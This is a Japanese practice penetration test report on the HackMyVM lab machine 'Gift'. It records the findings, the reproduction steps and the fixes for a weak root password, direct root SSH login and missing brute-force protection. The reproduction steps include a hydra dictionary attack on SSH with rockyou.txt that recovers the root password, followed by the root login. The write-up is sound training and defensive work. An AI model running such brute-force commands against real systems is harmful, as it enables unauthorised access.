脆弱性マシンを攻略していくだけではなく、報告書も書く練習でもしてみようかなと思い、HackMyVMの脆弱性マシンをペネトレーションテストして、報告書を書いてみました。
脆弱性マシンは、HackMyVMのGiftを使用しました。
セキュリティ関連の実務経験を積んでいるわけではないので、報告書として成立しているかはわかりません。。。
Gift ペネトレーションテスト報告書
文書情報
| 項目 | 内容 |
|---|---|
| 文書タイトル | Gift ペネトレーションテスト報告書 |
| 対象システム | Gift (192.168.56.103) |
| 実施者 | mniyk |
| 実施日 | 2026-05-19 |
| 報告書バージョン | 1.0 |
| 分類 | 演習 / 教育目的 |
1. エグゼクティブサマリー
対象システム Gift (192.168.56.103) に対し、外部からの不正アクセスの
可能性を評価するペネトレーションテストを実施した。
その結果、3件の問題を確認した。最も重大なものは、管理者(root)
アカウントに容易に推測可能なパスワードが設定されていた点である。
これにより、攻撃者は外部から短時間でシステムの全権限を取得でき、
データの閲覧・改ざん・削除を含むあらゆる操作が可能となる。実際に
本テストでは、約10秒で管理者権限の取得に至った。
これらの問題はいずれも特別な技術を要さず、パスワードの強化および
SSH接続の設定見直しといった標準的な対策で解消可能である。詳細は
本報告書の発見事項および是正勧告に示す。
発見事項の概要
| 深刻度 | 件数 |
|---|---|
| 緊急 (Critical) | 1 |
| 高 (High) | 0 |
| 中 (Medium) | 2 |
| 低 (Low) | 0 |
| 情報 (Info) | 0 |
2. テストの範囲と前提
- 対象: Gift (192.168.56.103)
- 対象外: 対象マシン以外の全て
- テスト種別: ブラックボックス
- 実施環境: VirtualBox ホストオンリーネットワーク、攻撃側 Kali Linux
- 前提条件: 対象は演習用VM (HackMyVM) であり、攻撃の許可は得られている
3. 手法
本テストは以下の段階で実施した。
- 偵察 (Reconnaissance) — 対象の発見と稼働サービスの特定
- 列挙 (Enumeration) — 各サービスの詳細調査と攻撃面の洗い出し
- 侵入 (Exploitation) — 確認した弱点を利用したアクセス取得
- 事後 (Post-Exploitation) — 取得権限の確認と影響範囲の評価
なお、本テストでは侵入の段階で最高権限 (root) を直接取得したため、通常想定される権限昇格 (Privilege Escalation) の段階は発生しなかった。
使用した主なツール: fping, nmap, gobuster, hydra
4. 発見事項
4.1 rootアカウントの脆弱なパスワードの設定
| 項目 | 内容 |
|---|---|
| 深刻度 | 緊急 |
| 対象 | 192.168.56.103:22 (ssh) |
| 分類 | 推測可能な認証情報 |
説明
パスワードが simple という、一般的なパスワードリスト(rockyou.txt)に含まれる単語であった。そのため、辞書攻撃によって短時間で認証情報が判明した。
再現手順
┌──(kali㉿kali)-[~/VulnerableMachine/HackMyVM/Gift]
└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-19 04:06:07
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.56.103:22/
[22][ssh] host: 192.168.56.103 login: root password: simple
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-19 04:06:17
┌──(kali㉿kali)-[~/VulnerableMachine/HackMyVM/Gift]
└─$ ssh root@192.168.56.103
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@192.168.56.103's password:
IM AN SSH SERVER
gift:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
gift:~# exit
Connection to 192.168.56.103 closed.
影響
root権限でリモートアクセスされ、すべての操作が可能となる。
是正勧告
- rootパスワードを推測されにくいパスワードへと変更する。
4.2 root の SSH 直接ログインが許可されている
| 項目 | 内容 |
|---|---|
| 深刻度 | 中 |
| 対象 | 192.168.56.103:22 (ssh) |
| 分類 | セキュリティ設定の不備 |
説明
rootでのSSHログインが可能であった。そのため、rootアカウントのパスワードを取得することで、rootアカウントでのリモートアクセスが可能であることが判明した。
再現手順
┌──(kali㉿kali)-[~/VulnerableMachine/HackMyVM/Gift]
└─$ ssh root@192.168.56.103
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@192.168.56.103's password:
IM AN SSH SERVER
gift:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
gift:~# exit
Connection to 192.168.56.103 closed.
影響
root が直接ログインできることで、攻撃者は一般ユーザーを経由せず最初から最高権限で侵入でき、かつ操作が root の名前で記録されるため誰の不正アクセスか追跡しにくくなる。
是正勧告
- /etc/ssh/sshd_config の PermitRootLogin を no に設定し、sshd を再起動する。
- 管理作業は一般ユーザーでログインしたうえで su または sudo を用いて行う運用とする。
4.3 SSH に対する総当たり対策が存在しない
| 項目 | 内容 |
|---|---|
| 深刻度 | 中 |
| 対象 | 192.168.56.103:22 (ssh) |
| 分類 | セキュリティ設定の不備 |
説明
SSH に対する総当たり攻撃への対策(接続制限、アカウントロック等)が実装されておらず、辞書攻撃による認証情報の特定が制限なく可能であった。
再現手順
┌──(kali㉿kali)-[~/VulnerableMachine/HackMyVM/Gift]
└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103 -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-19 04:06:07
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.56.103:22/
[22][ssh] host: 192.168.56.103 login: root password: simple
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-19 04:06:17
影響
認証情報を無限に試行されてしまい、いずれ認証情報が解読されてしまう。
是正勧告
- fail2ban 等を導入し、一定回数の認証失敗が続いた接続元IPを一時的に遮断する。
- /etc/ssh/sshd_config の MaxAuthTries を小さい値に設定し、1接続あたりの認証試行回数を制限する。
- 可能であればパスワード認証を無効化(PasswordAuthentication no)し、公開鍵認証に移行する。総当たり攻撃自体が成立しなくなる。
5. 攻撃シナリオの要約
テスト対象ネットワークに対してホスト発見を実施し、192.168.56.103を稼働ホストとして特定した。続いてポートスキャンを行い、22番(SSH)および80番(HTTP)が開放されていることを確認した。
80番のWebサービスについてディレクトリ列挙を含む調査を行ったが、攻撃の足がかりとなる情報は得られなかった。このため、攻撃対象をSSH(22番)に絞り込んだ。
SSHに対して辞書攻撃を実施した。総当たり攻撃への対策が実装されていないため(発見事項4.3)、認証試行は制限を受けることなく継続でき、rootアカウントのパスワードが脆弱であったため(発見事項4.1)、短時間で認証情報 "simple" が判明した。
判明した認証情報を用いてSSHログインを行った。rootアカウントによる直接ログインが許可されていたため(発見事項4.2)、一般ユーザーを経由することなく、初期アクセスの時点で最高権限(root)を取得するに至った。
6. 是正勧告の総括
| 優先度 | 対策 | 対応する発見事項 |
|---|---|---|
| 高 | rootアカウントのパスワードを、辞書に載らない十分に複雑なものへ変更する | 4.1 |
| 高 | SSHのパスワード認証を無効化し公開鍵認証へ移行する。総当たりと脆弱パスワードの問題を同時に解消できる | 4.1, 4.3 |
| 中 | sshd_config の PermitRootLogin を no にし、管理は一般ユーザー + su/sudo で行う | 4.2 |
| 中 | fail2ban の導入、MaxAuthTries の縮小により総当たりを抑止する | 4.3 |
7. 結論
対象システムは、リモートから最高権限を取得可能な緊急度の高い脆弱性を有していた。原因はSSHの認証に関する設定および認証情報の強度不足であり、いずれも標準的な対策で解消可能である。セクション6の是正勧告、特にパスワード認証の見直しを実施したうえで、再テストによる修正確認を推奨する。
付録A: 使用ツール一覧
| ツール | 用途 | バージョン |
|---|---|---|
| fping | ホストスキャン | 5.1 |
| nmap | ポートスキャン | 7.99 |
| gobuster | コンテンツスキャン | 3.8.2 |
| hydra | ブルートフォースアタック | 9.6 |
付録B: 参考情報
- 特になし